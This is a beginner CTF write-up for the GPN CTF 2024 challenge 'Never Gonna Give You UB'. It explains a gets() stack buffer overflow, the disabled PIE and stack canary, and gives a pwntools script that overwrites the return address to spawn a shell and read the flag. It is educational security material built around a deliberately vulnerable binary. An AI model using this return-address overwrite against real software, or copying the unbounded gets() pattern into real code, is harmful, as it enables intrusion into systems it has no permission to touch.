Never Gonna Give You UB - GPN CTF 2024

This is the introductory pwn challenge from GPN CTF 2024. The challenge revolves around leveraging a buffer overflow to edit the return address of the current stack frame to call `scratched_record`, which then spawns a shell which we can use to `cat` the flag from `/flag`.

Challenge Overview

Title: Never Gonna Give You UB
Author: MisterPine
Difficulty: Beginner
Points: 62
Solves: 241
Flag: `GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk...}`

Reading through the challenge

We are provided with 4 files: `song_rater.c`, a corresponding `song_rater` executable, a `run.sh` (which we will not use), and the `Dockerfile` for the remote.

song_rater.c

Walking through the source of `song_rater.c`, we have a `main` function and a `scratched_record` function.

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void scratched_record() {
  printf("Oh no, your record seems scratched :(\n");
  printf("Here's a shell, maybe you can fix it:\n");
  execve("/bin/sh", NULL, NULL);
}

extern char *gets(char *s);

int main() {
  printf("Song rater v0.1\n-------------------\n\n");
  char buf[0xff];
  printf("Please enter your song:\n");
  gets(buf);
  printf("\"%s\" is an excellent choice!\n", buf);
  return 0;
}
```

First, observe that `scratched_record` is not explicitly called anywhere in `main` so if we want to use it at any point, we are going to need to find some way of jumping to it. If we can somehow call it, it launches a shell, which would then let us run any code that we wanted to on the host machine. However, the flag doesn't seem to appear anywhere in this program, so we're going to have to come back to this.

In `main`, we see that we initialize a character buffer of length 255, and call `gets` to write user input into the buffer. The use of `gets`, which has no limit to the amount of input it can take in, rather than `fgets`, looks like a promising place to attack. If you've heard of a buffer or stack overflow, this should scream out to you as dangerous, but (as I have never done pwn before) we don't know yet how we are supposed to use this to create an exploit.

run.sh

We are given a short shell script which just takes the standard buffer and runs the `song_rater` executable with the standard input, output and error all set to be unbuffered

```
#!/bin/sh
# run
/usr/bin/stdbuf -i0 -o0 -e0 ./song_rater
```

Dockerfile

If you are new to CTFs like me, you might not have seen Docker or Dockerfiles before, so let's walk through and comment the file line by line.

```
# Initializes a new build stage and sets the base image to be Ubuntu. In other words, we are assumed to be running this code in Ubuntu. We name it build so that we can copy from it later
FROM ubuntu:latest AS build

# Update all of our package lists, install build-essential to give us tools such as gcc (which we will call later), and then clean up the docker container by deleting things that we don't need
RUN apt-get update -y && apt-get install build-essential -y --no-install-recommends \
&& apt-get clean && rm -rf /var/lib/apt/lists/*

# Copy the song_rater.c source file from the working directory of the host machine to the working directory of the docker instance
COPY song_rater.c .
# Compile song_rater.c using gcc. The flags are important, and explained below
RUN gcc -no-pie -fno-stack-protector -O0 song_rater.c -o song_rater

# Starts a second Ubuntu build stage so that we don't have to keep all the build/gcc dependencies in our current environment
FROM ubuntu:latest

# Again only install the packages we need, this time installing socat, and removing unnecessary files
RUN apt-get update -y && apt-get install socat -y --no-install-recommends \
&& apt-get clean && rm -rf /var/lib/apt/lists/*

# Copy the built song_rater executable from the first build, named 'build', into the current (new) build
COPY --from=build song_rater song_rater
# Copy the run.sh script int from the host's working directory
COPY run.sh run.sh

# Create a new variable named FLAG with value GPNCTF{fake_flag}. We're presuming that the real Dockerfile on the remote stores the real flag in this ARG FLAG.
ARG FLAG=GPNCTF{fake_flag}
# Echo (in other words write) the value of FLAG into /flag
RUN echo "$FLAG" > /flag

# Expose a port
EXPOSE 1337

# Sets what should be run when we start the container: use the socat that we previously installed to listen for input on port 1337 (TCP), and run the run.sh shell
```

```
script
ENTRYPOINT [ "socat", "-v", "tcp-l:1337,reuseaddr,fork", "EXEC:./run.sh,stderr" ]
```

The main focus of this Dockerfile are the `gcc` flags used to compile the `song_rater` binary: `-no-pie` and `-fno-stack-protector`. Combined with our previous observations that `scratched_record` gives us the ability to run any code we want and that the flag is in `/flag`, we have the beginnings of an attack vector.

Hint of an exploit: lack of stack protection

The man page entry for the `-no-pie` flag is

```
-no-pie
    Don't produce a dynamically linked position independent
    executable.
```

Okay, this isn't very helpful if we don't know what it means for an executable to be dynamically linked or position independent.

Position independent executables

Recall that the stages of the gcc compiler are preprocessing, compilation, assembling, and linking. Preprocessing includes our header files and expands macros, compilation converts from C code to assembly, assembling converts from assembly to an object code module, and linking combines our assembled object modules with whatever we need from the static library (in other words, pre-existing code that we want to import) to produce an executable. In static linking, the contents of the imported object module are inserted into the executable at linking time. In dynamic linking, a pointer to the file is inserted, and only at run time are the contents of the file brought in. That way we don't store extra copies of these library object modules on disk for each executable we compile, and when we need it we load it into memory directly from the pointer.

A position independent executable is one that can be loaded into memory to any absolute address. Conversely, a position dependent executable must be loaded into a specific address in memory for it to execute. We might want our standard library executables to be position independent, so that they always work independent of which memory address we load them into. Therefore, by invoking the `-no-pie` flag, what we're telling `gcc` is that we want an executable where the source of the library calls are inserted into the executable as is, and the executable needs to be run at a certain memory address when it's called. This means that the executable has static size, and addresses of variables, functions, etc. will always be at the same place every time we run it.

Why is this important for our specific file? Well, we have a function `scratched_record` which is never called. If we were able to call `scratched_record` somehow, it would spawn a shell for us by running `execve("/bin/sh", NULL, NULL);`, which we could then use run `cat /flag` to print out the flag. Since we've compiled our binary with `-no-pie`, `scratched_record` will always be in the same place in memory, so if we disassemble the executable once in `gdb`, the function will always be located at that address, which we can see is `0x0000000000401196`.

The question is, how do we get to that address?

Review of stack frames

Calling a function initializes a *stack frame*, a chunk of memory on the stack dedicated to the function call where we store info such as the function's parameters, its local variables, and its return address (where to go next after we return). For a more intensive overview of the x86_64 stack frame, see Eli Bendersky's blogpost on it.

What's important for us is that our buffer is initialized in the local variables section of the stack frame. Above it (since the stack grows down) is the saved `rbp` value, and above that is the return address. Once the user gives input to be read into the buffer, the `main` function will run a print and then return. When it returns, we read the return address to determine which function we should go to next to continue our execution.

```
int main() { //
  printf("Song rater v0.1\n-------------------\n\n");
  char buf[0xff];
  printf("Please enter your song:\n");
  gets(buf); // Read in whatever the user gives us, independent of input length
  printf("\"%s\" is an excellent choice!\n", buf);
  return 0; // Reach the return address, and go there
}
```

To use the gets call to overwrite the return address with `0x0000000000401196`, we need to give 256 bytes of input to fill `buf` (we allocated a size 255 array, but if we disassemble the function we see that it's actually 256 to keep stack alignment), 8 additional bytes to overwrite the saved `rbp` value, and then the address.

So why doesn't this work in general? Why can't I use this exploit to get arbitrary code execution on any program that I want? Well the main thing we are exploiting here is that `gets` lets us inject however many bytes we want so long as we don't segfault before our exploit can run. Okay, so just replace `gets` with `fgets` and we're done right? Well there's still a gcc flag that we haven't explained: `-fno-stack-protection`, which brings us to the idea of a *stack canary*.

Stack canaries

The man page for the `-fstack-protection` flag is

```
-fstack-protector
    Emit extra code to check for buffer overflows, such as stack
    smashing attacks.  This is done by adding a guard variable to
    functions with vulnerable objects.  This includes functions
    that call "alloca", and functions with buffers larger than 8
    bytes.  The guards are initialized when a function is entered
    and then checked when the function exits.  If a guard check
    fails, an error message is printed and the program exits
```

What this flag does is it tells the program to create a chunk of memory called a *stack canary* or *stack protector*, which helps to prevent buffer overflow attacks like the one we are attempting here. The `-fno-stack-protection` flag turns this off, telling `gcc` "hey, **do not** protect the stack", making our attack easy to implement.

So how does a stack canary work? Well, our attack revolves around overflowing the buffer, writing over the rbp value, and into the return address. How could we check if someone edited these values before returning, to make sure the return address that we take is correct and safe? One idea is to put a secret, 64-bit value above the local variables, but below the return address. Whenever we want to return, we first check to see if the canary is edited. If the canary is the same, we are safe to return, and if it has changed, something has gone awry (such as an overflow attack) and we cannot trust the return address.

The name *stack canary* is a reference to bringing a canary into a coal mine. If a mine filled with carbon monoxide, canaries would die earlier than miners, giving a warning that the mine wasn't safe and that everyone should evacuate.

In our exploit, would have to overwrite the canary to get to the return address. To protect the stack canary from string operations, the leading byte is set to NULL (strings are null-terminated, so the NULL byte stops any string operations from accessing the canary or return address). Therefore we know 8 bits of the canary must be 0, and the other 56 are unknown, meaning 2^{56} possible canary values. Therefore the probability that we guess the canary is $\frac{1}{2^{56}}$, which is extremely improbable, and so our naive attack will not work if there is a canary (we'd have to add an extra step like trying to leak or brute force the canary to get a successful return). However, we told `gcc` to put no stack protectors up, so we can proceed with our standard overflow.

Constructing and executing our exploit

To summarize, our attack is as follows:

Phase 1: get the function address of scratched record using pwndbg's `disass`

```
$ gdb song_rater
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "aarch64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 157 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --
all] [filter] for a list.
pwndbg: created $rebase, $base, $ida GDB functions (can be used with print/break)
Reading symbols from song_rater...
(No debugging symbols found in song_rater)
------- tip of the day (disable with set show-tips off) -------
stepuntilasm <assembly-instruction [operands]> steps program forward until matching
instruction occures
pwndbg> disass scratched_record
Dump of assembler code for function scratched_record:
   0x0000000000401196 <+0>: .inst 0xfa1e0ff3 ; undefined
   0x000000000040119a <+4>: str z21, [x2, #74, mul vl]
   0x000000000040119e <+8>: .inst 0x63058d48 ; undefined
   0x00000000004011a2 <+12>:  stxrh w0, w14, [x0]
   0x00000000004011a6 <+16>:  .inst 0xc3e8c789 ; undefined
   0x00000000004011aa <+20>:  casalh  wzr, w30, [sp]
   0x00000000004011ae <+24>:  shadd v13.4h, v12.4h, v28.4h
   0x00000000004011b2 <+28>:  .inst 0x89480000 ; undefined
   0x00000000004011b6 <+32>:  .inst 0xfeb4e8c7 ; undefined
   0x00000000004011ba <+36>:  .inst 0x00baffff ; undefined
   0x00000000004011be <+40>:  .inst 0xbe000000 ; undefined
   0x00000000004011c2 <+44>:  udf #0
   0x00000000004011c6 <+48>:  .inst 0x89058d48 ; undefined
   0x00000000004011ca <+52>:  stxrh w0, w14, [x0]
   0x00000000004011ce <+56>:  .inst 0xbbe8c789 ; undefined
   0x00000000004011d2 <+60>:  adrp  x30, 0x3fd000
```

```
   0x00000000004011d6 <+64>:  .inst 0x0ff3c35d ; undefined
End of assembler dump.
```

Phase 2: ncat into the remote, and send our payload to spawn a shell

```
from pwn import *

# Depends on the instance
p = remote("supermarket-flowers--ed-sheeran-0678.ctf.kitctf.de", "443", ssl=True)

payload = b'A' * 256
payload += b'B' * 8
payload += p64(0x0000000000401196)

p.sendline(payload)

p.interactive()
```

Phase 3: run the exploit and cat the flag

```
Song rater v0.1
-------------------

Please enter your song:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAABBBBBBBB\x96\x11@" is an excellent choice!
Oh no, your record seems scratched :(
Here's a shell, maybe you can fix it:

$ cat /flag
GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk...}
```